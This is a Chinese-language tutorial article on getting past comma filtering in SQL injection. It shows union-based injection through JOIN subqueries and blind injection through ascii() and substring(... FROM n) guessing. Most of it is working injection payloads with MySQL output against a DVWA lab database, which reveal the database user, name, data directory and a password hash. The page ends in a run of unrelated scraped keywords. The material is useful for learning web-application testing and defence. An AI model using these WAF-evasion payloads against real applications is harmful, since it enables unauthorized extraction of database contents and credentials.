千家信息网

SQL注入技巧之显注与盲注中过滤逗号绕过的示例分析

发表于:2024-11-17 作者:千家信息网编辑
千家信息网最后更新 2024年11月17日,小编给大家分享一下SQL注入技巧之显注与盲注中过滤逗号绕过的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!1.联合
千家信息网最后更新 2024年11月17日SQL注入技巧之显注与盲注中过滤逗号绕过的示例分析

小编给大家分享一下SQL注入技巧之显注与盲注中过滤逗号绕过的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!

1.联合查询显注绕过逗号

在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联合查询不能用了。

绕过

在显示位上替换为常见的注入变量或其它语句

union select 1,2,3;union select * from ((select 1)A join (select 2)B join (select 3)C);union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);

在数据库中演示联合查询

UNION开始是我们在URL中注入的语句,这里只是演示,在实际中如果我们在注入语句中有逗号就可能被拦截

mysql> select user_id,user,password from users union select 1,2,3;+---------+-------+----------------------------------+| user_id | user | password  |+---------+-------+----------------------------------+| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 || 1 | 2 | 3  |+---------+-------+----------------------------------+2 rows in set (0.04 sec)

不出现逗号,使用Join来注入

mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);+---------+-------+----------------------------------+| user_id | user | password  |+---------+-------+----------------------------------+| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 || 1 | 2 | 3  |+---------+-------+----------------------------------+2 rows in set (0.05 sec)

查询我们想要的数据

mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);;+---------+-------+-------------------------------------------------+| user_id | user | password   |+---------+-------+-------------------------------------------------+| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 || 1 | 2 | root@192.168.228.1 dvwa c:\phpStudy\MySQL\data\ |+---------+-------+-------------------------------------------------+2 rows in set (0.08 sec)

2.盲注中逗号绕过

MID 和substr 函数用于从文本字段中提取字符

mysql> select mid(user(),1,2);+-----------------+| mid(user(),1,2) |+-----------------+| ro |+-----------------+1 row in set (0.04 sec)

查询数据库用户名第一个字符的ascii码

mysql> select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3;+---------+-------+----------------------------------+| user_id | user | password  |+---------+-------+----------------------------------+| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 || 114 | 2 | 3  |+---------+-------+----------------------------------+2 rows in set (0.05 sec)

盲注,通过猜ascii值

mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ;Empty setmysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ;+---------+-------+----------------------------------+| user_id | user | password  |+---------+-------+----------------------------------+| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |+---------+-------+----------------------------------+1 row in set (0.04 sec)

逗号绕过SUBTTRING 函数

substring(str FROM pos)

从字符串str的起始位置pos 返回一个子串

mysql> select substring('hello' from 1);+---------------------------+| substring('hello' from 1) |+---------------------------+| hello  |+---------------------------+1 row in set (0.04 sec)mysql> select substring('hello' from 2);+---------------------------+| substring('hello' from 2) |+---------------------------+| ello  |+---------------------------+1 row in set (0.03 sec)

注入

mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ;Empty set//substring(user() from 2)为o//o的ascii为111,mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ;+---------+-------+----------------------------------+| user_id | user | password  |+---------+-------+----------------------------------+| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |+---------+-------+----------------------------------+1 row in set (0.03 sec)

以上是"SQL注入技巧之显注与盲注中过滤逗号绕过的示例分析"这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注行业资讯频道!

逗号 查询 语句 联合 字符 数据 篇文章 技巧 示例 分析 内容 函数 数据库 不怎么 个子 位置 变量 只是 多个 大部分 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 天谕手游云波之境服务器 H3C云计算管理服务器 电大数据库技术考试题 软件开发的高级设计 东南大学图书馆 数据库 江民杀毒软件开发商 数据库为什么创建实例实例名 济南盈科网络技术有限公司 校园贷网络安全班会主题目的 服务器故障代码怎么看 1025是什么数据库接口 苹果数据库导入导出 汽车票预订系统数据库课程设计 山西网络安全非标机箱上哪找 数据库的odbc数据源是几位的 软件打不开显示服务器异常 域服务器怎么知道用户的密码 阜阳市新华互联网科技 风险控制数据库 软件开发有饱和吗 乐玩互娱网络技术有限公司产品 独立的ip服务器有利于seo吗 怎样制作网站数据库 csgo选不了服务器怎么办 潍坊玖玖互联网科技有限公司 颅骨兽数据库 软件开发需要具备哪些专业 盐城师范外文数据库 网络安全技术层面的特性 网络安全需要掌握哪些方面
0